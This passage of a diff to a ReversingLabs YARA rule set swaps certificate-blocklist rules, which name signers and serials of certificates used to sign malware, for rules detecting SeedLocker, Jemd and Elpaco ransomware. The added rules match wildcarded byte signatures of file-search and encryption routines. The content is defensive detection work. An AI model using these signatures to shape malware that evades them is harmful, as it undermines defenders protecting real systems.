?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 89 84 + 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? + ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 8B F8 8D 4C 24 ?? 57 BE ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8B 4C 24 ?? 8B 41 ?? F6 84 04 ?? ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? BA ?? ?? ?? ?? + 03 C8 8B F3 33 C0 39 41 ?? 0F 44 C2 83 E0 ?? 89 41 ?? 85 41 ?? 74 ?? 6A ?? E8 ?? ?? + ?? ?? 56 57 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 83 EC ?? 8D 8C 24 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 6A ?? 56 57 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? F3 0F 6F 00 F3 0F 7F 07 E8 ?? ?? ?? ?? F3 0F 6F + } + $encrypt_file_3 = { + 00 F3 0F 7F 47 ?? F3 0F 6F 40 ?? F3 0F 7F 47 ?? F3 0F 6F 40 ?? 8D 84 24 ?? ?? ?? ?? + 50 51 F3 0F 7F 47 ?? 57 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 + ?? 85 F6 74 ?? 6A ?? 83 EC ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? FF B4 24 ?? + ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 85 C0 75 ?? 8B 44 24 ?? 8D 4C 24 ?? 8B 40 ?? 03 C8 8B 41 ?? 83 C8 ?? 83 79 ?? ?? 75 + ?? 83 C8 ?? 83 E0 ?? 89 41 ?? 85 41 ?? 74 ?? 6A ?? E8 ?? ?? ?? ?? 85 F6 74 ?? 56 E8 + ?? ?? ?? ?? 83 C4 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? B3 ?? C6 84 24 ?? ?? ?? ?? ?? 8D 8C + 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8D 84 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 89 44 24 ?? C6 84 24 ?? + ?? ?? ?? ?? 50 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 32 DB + C6 84 24 ?? ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? 72 ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 83 C4 ?? 33 C0 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? + ?? 66 89 84 24 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? 72 ?? FF + B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 + 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 84 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? + ?? 83 BC 24 ?? ?? ?? ?? ?? 72 ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 + C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 84 24 ?? ?? ?? ?? 8A C3 C7 84 24 ?? ?? ?? ?? + ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 8C 24 ?? ?? ?? + ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SPECTACLE IMAGE LTD" and pe.signatures [ i ] . serial == "09:3f:e6:3d:1a:5f:68:f1:4e:ca:ac:87:1a:03:f7:a3" and 1562716800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and $encrypt_file_1 and $encrypt_file_2 and $encrypt_file_3 } - -rule REVERSINGLABS_Cert_Blocklist_Bb26B7B6634D5Db548C437B5085B01C1 : INFO FILE +rule REVERSINGLABS_Win64_Ransomware_Seedlocker : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects SeedLocker ransomware." author = "ReversingLabs" - id = "443a876a-dfd7-5a9e-bb15-a44a53363494" - date = "2020-08-05" - modified = "2023-11-08" + id = "efa3dd2e-faf4-5882-aef8-85189e65f0f9" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4086-L4104" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.SeedLocker.yara#L1-L91" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "58d574b196f84416eb04000205cd8f4817618003f2948bb0eb7d951c282ef6ff" + logic_hash = "a478efcfb03e3eeebe72d9a71629456cf061c3c779fbdde99539854caf8c7c33" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "SeedLocker" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO \"IT Mott\"" and ( pe.signatures [ i ] . serial == "00:bb:26:b7:b6:63:4d:5d:b5:48:c4:37:b5:08:5b:01:c1" or pe.signatures [ i ] . serial == "bb:26:b7:b6:63:4d:5d:b5:48:c4:37:b5:08:5b:01:c1" ) and 1591919307 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_29128A56E7B3Bfb230742591Ac8B4718 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "b868d2f2-3852-57a3-be01-32cc16eb2ff7" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4106-L4122" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "5a89fec015e56ddddaed75be91a87288dcd27841937d26e3416187913c4f0b85" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $search_files = { + 48 89 5C 24 ?? 48 89 7C 24 ?? 55 48 8D AC 24 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 8B + 05 ?? ?? ?? ?? 48 33 C4 48 89 85 ?? ?? ?? ?? 48 8B F9 4C 8D 05 ?? ?? ?? ?? 4C 8B C9 + BA ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8D 8D ?? ?? + ?? ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 83 F8 ?? 0F 84 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? + 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF + 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 44 24 ?? 4C 8B CF 4C 8D 05 ?? ?? ?? ?? 48 89 44 24 + ?? BA ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? F6 44 24 ?? ?? 48 8D 8D ?? + ?? ?? ?? 74 ?? 48 8D 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? + ?? ?? EB ?? FF 15 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8B CB FF 15 ?? ?? ?? ?? 85 C0 0F 85 + ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? + ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ?? 49 8B 7B ?? 49 8B E3 + 5D C3 + } + $encrypt_files_p1 = { + FF 15 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 63 C8 48 8D 85 ?? ?? ?? + ?? 48 8D 04 48 48 83 C0 ?? 66 83 38 ?? 75 ?? 45 33 FF 4C 8D 05 ?? ?? ?? ?? 66 44 89 + 38 45 33 C9 48 83 C0 ?? 4C 89 7C 24 ?? 48 89 05 ?? ?? ?? ?? 33 D2 48 8D 05 ?? ?? ?? + ?? 44 89 7C 24 ?? 33 C9 48 89 05 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 D2 45 8D 47 ?? 33 + C9 FF 15 ?? ?? ?? ?? 48 8B F0 48 85 C0 74 ?? 48 8B 1D ?? ?? ?? ?? 48 81 C3 ?? ?? ?? + ?? EB ?? 48 8B CB FF 15 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 8B D3 48 8B CE 44 8B F0 FF + 15 ?? ?? ?? ?? 48 8B F8 48 85 C0 74 ?? 4C 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8B C8 + FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 41 8D 46 ?? 48 63 C8 48 8D 1C 4B 66 44 + 39 3B 75 ?? 48 8B CE FF 15 ?? ?? ?? ?? 33 D2 8D 4A ?? FF 15 ?? ?? ?? ?? 48 8B F8 48 + 83 F8 ?? 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB ?? 48 8B 1D ?? ?? ?? ?? 48 81 + C3 ?? ?? ?? ?? EB ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B D3 48 8D 4C 24 ?? 44 8B F0 FF + 15 ?? ?? ?? ?? 85 C0 75 ?? 44 8B 44 24 ?? 8D 48 ?? 33 D2 FF 15 ?? ?? ?? ?? 48 8B F0 + 48 83 F8 ?? 74 ?? 33 D2 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B CE FF 15 ?? ?? ?? ?? 41 8D + 46 ?? 48 63 C8 48 8D 1C 4B 66 44 39 3B 75 ?? 48 8D 54 24 ?? 48 8B CF FF 15 ?? ?? ?? + ?? 85 C0 75 ?? 48 8B CF FF 15 ?? ?? ?? ?? 33 D2 48 8D 8D ?? ?? ?? ?? 41 B8 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 D2 48 8D 35 ?? ?? ?? ?? 48 + } + $encrypt_files_p2 = { + 8D 8D ?? ?? ?? ?? 48 89 B5 ?? ?? ?? ?? 44 8D 42 ?? E8 ?? ?? ?? ?? 4C 8B 05 ?? ?? ?? + ?? 48 8D 8D ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? BB ?? ?? ?? ?? 4C 89 BD + ?? ?? ?? ?? 44 8B CB C7 44 24 ?? ?? ?? ?? ?? 45 33 C0 48 8D 8D ?? ?? ?? ?? 33 D2 FF + 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? 48 8D 44 24 ?? 45 + 33 C9 45 33 C0 48 89 44 24 ?? 8D 53 ?? 33 C9 FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? + 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? EB ?? FF 15 ?? ?? ?? + ?? 3D ?? ?? ?? ?? 75 ?? 44 8B CB C7 44 24 ?? ?? ?? ?? ?? 45 33 C0 48 8D 8D ?? ?? ?? + ?? 33 D2 FF 15 ?? ?? ?? ?? 48 8B BD ?? ?? ?? ?? 48 85 FF 0F 84 ?? ?? ?? ?? 48 8B 0D + ?? ?? ?? ?? 41 8B DF 48 81 C1 ?? ?? ?? ?? 45 8B F7 FF 15 ?? ?? ?? ?? 85 C0 7E ?? 49 + 8B F7 48 8B 05 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? BA ?? ?? ?? ?? 0F BE 8C 06 ?? ?? ?? + ?? 44 0F BE 8C 06 ?? ?? ?? ?? 89 4C 24 ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 D2 + 48 8D 8D ?? ?? ?? ?? 44 8D 42 ?? E8 ?? ?? ?? ?? 8B CB 48 8D 76 ?? FF C3 41 83 C6 ?? + 88 84 0D ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 81 C1 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 44 + } + $encrypt_files_p3 = { + 3B F0 7C ?? 48 8D 35 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 45 33 C9 48 89 44 24 ?? 48 8D + 95 ?? ?? ?? ?? 44 8B C3 44 89 7C 24 ?? 48 8B CF FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? + ?? ?? 48 8B 1D ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 4C 8B C3 E8 ?? + ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 45 33 C9 C7 44 24 ?? ?? ?? ?? ?? + 48 89 44 24 ?? 33 D2 48 8D 85 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 48 89 44 24 ?? 45 8D 41 + ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 41 8B DF 44 39 BD ?? ?? ?? ?? 76 ?? 8B C3 4C 8D 05 + ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 44 0F B6 8C 05 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF C3 3B 9D ?? ?? + ?? ?? 72 ?? 48 8B 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 D2 48 8B CF FF 15 ?? ?? ?? ?? + 48 8B 05 ?? ?? ?? ?? 4C 8D 8D ?? ?? ?? ?? 48 83 C0 ?? 4C 8D 05 ?? ?? ?? ?? BA ?? ?? + ?? ?? 48 89 44 24 ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F 6F 05 ?? ?? 06 00 48 + 8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 66 44 89 BD ?? ?? 00 00 F3 0F 7F 85 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 48 8D 8D ?? ?? ?? ?? 48 89 B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 48 8B 8D ?? ?? ?? ?? + 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ?? 49 8B 73 ?? 49 8B 7B ?? + 49 8B E3 41 5F 41 5E 5D C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Programavimo paslaugos, MB" and pe.signatures [ i ] . serial == "29:12:8a:56:e7:b3:bf:b2:30:74:25:91:ac:8b:47:18" and 1590900909 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and $search_files and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_7Bfbfdfef43608730Ee14779Ee3Ee2Cb : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Jemd : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Jemd ransomware." author = "ReversingLabs" - id = "fdc2f6a0-8fae-537e-812f-b0c292f76b1e" - date = "2020-08-05" - modified = "2023-11-08" + id = "ef981ffa-8801-50f0-9441-5f2bfcf44133" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4124-L4140" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Jemd.yara#L1-L105" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f8f233b78e9d3558b0cd7978e3c5fa32645a3bb706c6fdec7f1e4195cf513f10" + logic_hash = "552e0fc118031e953dee2e7c6bf8234a5a90de8c34b0e2724dfe99f2b28b8c51" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Jemd" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CSTech Software Inc." and pe.signatures [ i ] . serial == "7b:fb:fd:fe:f4:36:08:73:0e:e1:47:79:ee:3e:e2:cb" and 1590537600 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_62205361A758B00572D417Cba014F007 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "85da8e0e-d791-5fed-b9ea-c681462651a6" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4142-L4158" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ebf28921c81191bcf6130baf6532122bb320cc916e38ab225f0acdcb57ea00f3" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $find_files_1 = { + 55 8B EC 81 C4 ?? ?? ?? ?? 53 33 DB 89 9D ?? ?? ?? ?? 89 4D ?? 89 55 ?? 89 45 ?? 8B + 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? + 64 FF 30 64 89 20 8B 45 ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? B8 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? 83 F8 ?? 75 + ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? + ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B + 45 ?? 50 8B 45 ?? 50 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B + 85 ?? ?? ?? ?? B1 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 + ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3 + } + $find_files_2 = { + 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 33 DB 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 4D ?? + 89 55 ?? 89 45 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? + ?? ?? 8D B5 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 E8 ?? ?? ?? ?? 89 + C3 BB ?? ?? ?? ?? 56 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4B 75 ?? 33 DB 8D 45 ?? 33 C9 BA + ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 8A 14 1E 88 54 05 ?? 40 43 80 3C 1E ?? 74 ?? 83 F8 + ?? 7E ?? 43 8D 85 ?? ?? ?? ?? 8D 55 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? + ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B 45 ?? 50 8D 85 ?? ?? ?? ?? 8D 55 ?? B9 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ?? 80 7C 1E + ?? ?? 75 ?? 80 3C 1E ?? 74 ?? 81 FB ?? ?? ?? ?? 0F 8E ?? ?? ?? ?? 33 C0 5A 59 59 64 + 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? + ?? ?? ?? E8 ?? ?? ?? ?? C3 + } + $encrypt_files_p1 = { + 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 33 DB 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? + ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 8B D9 89 55 ?? 89 45 ?? 8B 45 ?? E8 ?? + ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 + 89 20 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 80 7C 02 ?? ?? 75 ?? 8B 45 ?? E8 ?? ?? ?? ?? + 8B D0 4A 8D 45 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? + BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 + ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B D0 83 CA ?? 3B D0 75 ?? 80 + FB ?? 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? + ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 50 + 8B 45 ?? 50 FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B CB 8B 55 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? FF + } + $encrypt_files_p2 = { + 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8B 85 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B B5 ?? ?? ?? + ?? 8B C6 83 C8 ?? 3B C6 75 ?? 80 FB ?? 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? + ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B + 45 ?? 50 8B 45 ?? 50 FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B CB 8B 55 ?? E8 ?? ?? ?? ?? EB ?? FF + 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8B 85 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 + 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B + 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? + ?? ?? ?? E8 ?? ?? ?? ?? C3 + } + $main_routine = { + 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 + ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? B0 ?? E8 ?? + ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? B2 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? + ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 50 8D 55 ?? 66 + B8 ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? B1 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? + A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 35 + ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8B 45 ?? 8D 55 ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 8B + 0D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B C6 8B 08 FF 51 ?? 8D 55 ?? + 33 C0 E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B C6 8B 08 FF + 51 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "UNITEKH-S, OOO" and pe.signatures [ i ] . serial == "62:20:53:61:a7:58:b0:05:72:d4:17:cb:a0:14:f0:07" and 1590470683 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $main_routine ) and ( all of ( $find_files_* ) ) and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_4B47D18Dbea57Abd1563Ddf89F87A6C2 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Elpaco : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Elpaco ransomware." author = "ReversingLabs" - id = "689c1f80-3b3c-5bd7-9129-4f508cad7fb4" - date = "2020-08-05" 